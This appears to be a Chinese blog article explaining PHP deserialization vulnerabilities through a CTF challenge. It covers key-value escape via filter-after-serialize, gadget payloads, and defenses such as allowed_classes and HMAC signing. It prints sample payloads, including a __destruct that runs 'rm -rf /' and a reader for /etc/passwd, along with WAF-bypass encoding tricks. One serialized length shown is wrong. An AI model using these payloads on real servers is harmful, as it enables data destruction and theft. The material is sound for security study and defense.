当前位置: 首页 > news >正文

PHP反序列化漏洞实战:从代码审计到利用逃逸技巧

1. PHP反序列化漏洞入门:从代码审计开始

我第一次接触PHP反序列化漏洞是在一次CTF比赛中,当时完全不明白为什么一段看似无害的序列化数据能导致系统被攻破。后来在实际项目中审计代码时才发现,这个漏洞比想象中更常见。简单来说,PHP反序列化漏洞就是当程序将用户可控的序列化数据还原成PHP对象时,如果处理不当就可能执行恶意代码。

让我们从一个真实案例开始理解。假设有个网站保存用户偏好设置时使用了序列化:

$userPrefs = unserialize($_COOKIE['preferences']);

表面看这很合理,但问题在于攻击者可以精心构造一个恶意的序列化字符串。比如:

class Evil { public $cmd = "rm -rf /"; public function __destruct() { system($this->cmd); } } echo serialize(new Evil); // 输出:O:4:"Evil":1:{s:3:"cmd";s:7:"rm -rf /";}

当这个字符串被反序列化时,__destruct方法会自动执行,导致服务器被清空。这就是为什么说反序列化是"把用户数据当代码执行"的高危操作。

2. 代码审计实战:发现漏洞模式

在审计代码时,我通常会重点检查这几个危险函数:

  • unserialize()
  • maybe_unserialize()
  • 任何接收外部输入后直接反序列化的操作

以[安洵杯2019]的题目为例,关键漏洞点在这里:

$serialize_info = filter(serialize($_SESSION)); //... $userinfo = unserialize($serialize_info);

这段代码有三个致命问题:

  1. 直接反序列化用户控制的$_SESSION数据
  2. 过滤函数在序列化后执行,破坏了数据结构
  3. 最终通过file_get_contents读取文件

我在审计时发现,很多开发者会犯类似的错误——先序列化再过滤,而不是先过滤再序列化。这种顺序差异正是漏洞利用的关键。

3. 反序列化逃逸技巧详解

3.1 键值逃逸实战

让我们用题目中的案例具体分析。过滤函数会删除'php','flag'等关键词:

function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }

假设我们提交:

_SESSION[user]=flagflagflagflagflagphp _SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤后,连续的flagphp被删除,导致后面的字符串被解析为新的键值对。这就实现了"逃逸"出现有结构,注入恶意数据。

3.2 键名逃逸技巧

键名逃逸的原理类似,但操作的是数组键名:

_SESSION[flagphp]=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤后,键名flagphp被删除,剩下的部分会被解析为新的序列化数据结构。这种技术在过滤不严格时特别有效。

4. 高级利用:从文件读取到代码执行

在实际渗透测试中,我经常用反序列化漏洞实现多阶段攻击:

  1. 先通过逃逸技巧注入恶意对象
  2. 利用PHP内置类的魔术方法(如__destruct、__wakeup)
  3. 结合其他漏洞实现RCE

比如这个Payload会读取敏感文件:

class FileReader { public $filename = '/etc/passwd'; public function __toString() { return file_get_contents($this->filename); } } echo serialize(new FileReader);

更危险的是结合phar协议,通过文件上传实现反序列化。我曾在一个项目中通过上传恶意phar文件,最终获得了服务器权限。

5. 防御方案:从开发到部署

经过多次踩坑后,我总结了这些防御措施:

  1. 输入验证:永远不要反序列化不可信数据
// 安全的做法 if(is_trusted_source($data)) { $obj = unserialize($data); }
  1. 使用JSON:改用json_encode/json_decode
$safeData = json_decode($_POST['data'], true);
  1. 白名单验证:检查反序列化的类
$allowedClasses = ['SafeClass1', 'SafeClass2']; $obj = unserialize($data, ['allowed_classes' => $allowedClasses]);
  1. 签名验证:对序列化数据签名
$data = $_COOKIE['data']; $sig = $_COOKIE['sig']; if(hash_hmac('sha256', $data, $secretKey) === $sig) { $obj = unserialize($data); }

在最近的一次代码审计中,我发现即使使用了白名单,如果类本身存在风险也会出问题。所以最好的防御是彻底避免反序列化用户输入。

6. 实战中的疑难问题解决

在实际利用时,经常会遇到各种过滤和限制。比如有一次遇到WAF拦截了所有包含"flag"的请求。我的绕过方法是:

  1. 使用base64编码敏感字符串
$payload = base64_encode(serialize($maliciousObj));
  1. 利用PHP的引用特性
class Bypass { public $a; public $b; public function __construct() { $this->a = &$this->b; } }
  1. 结合字符编码技巧
$payload = str_replace('flag', "\x66\x6c\x61\x67", $serialized);

这些技巧需要根据实际情况灵活组合。我建议先在测试环境验证,确保Payload能按预期工作。

http://www.jsqmd.com/news/572610/

相关文章:

  • 鸿蒙NEXT(五):鸿蒙版React Native架构浅析
  • AI正冲击金融岗!高薪职业如何守住饭碗?金融人转行AI指南
  • 2026年小红书文案降AI工具保姆级测评:哪款效果最好
  • Jetson Nano新手必看:用Python3搞定UART串口通信(附禁用控制台避坑指南)
  • 告别复杂配置!像素幻梦创意工坊开箱即用,小白也能玩转像素艺术
  • Claude Code 源代码泄露:AI 安全敲响警钟
  • 微型LORA数传模块:科技赋能,传统楼宇智能蜕变
  • SSM+Vue大学生兼职网站源码+论文
  • ComfyUI-Manager安装失败问题诊断与专业解决方案
  • 终极指南:5个技巧解决Logitech设备在Linux下的连接问题
  • Pixel Aurora Engine保姆级教程:从零配置8-BIT扩散模型绘图环境
  • 基于臂型角参数化的七自由度冗余机械臂逆运动学求解与MATLAB仿真
  • 如何用一个模型解决所有文档图像修复问题?DocRes全攻略
  • 网站seo优化对网站运营有什么影响_网站seo优化包括哪些内容
  • 如何3步掌握Home Assistant SSH Web终端:从零到精通的管理指南 ✨
  • DLSS状态指示器全攻略:从配置到优化的完整路径
  • 告别重复造轮子:用快马平台自动化机器学习工作流提升效率
  • C# WinForms实战:用RAWINPUT API精准拦截键盘输入,只让扫码枪录入数据(附完整源码)
  • 深入解析单片机通信协议:1-Wire与UART的实战应用
  • 人员简历管理系统:为什么大多数企业的简历都在“裸奔”?
  • 2026年3月AI周报:IPO浪潮、密度定律爆发、具身智能标准落地,一文看懂行业新格局
  • 从YOLOv8到v11:一次完整的模型升级与部署实战(附性能对比与踩坑记录)
  • Realtek 8852AE Wi-Fi 6驱动深度解析与实战指南
  • langchain技术栈研究
  • 硬件激活技术:让老旧Mac焕发新生的系统适配方案 - 适用于2006-2015年设备
  • Ostrakon-VL终端实战案例:用Python+Streamlit快速搭建价签解密系统
  • 【Jetson实战】从零部署GPT-OSS-20B:llama.cpp编译、量化与GUI交互全流程
  • STM32F429 RS485项目踩坑实录:CubeMX配置DMA接收,为什么数据总丢包或错位?
  • 水平越权与垂直越权:从原理到实战漏洞挖掘
  • SSM+JSP洪涝灾情应急物资管理系统源码+论文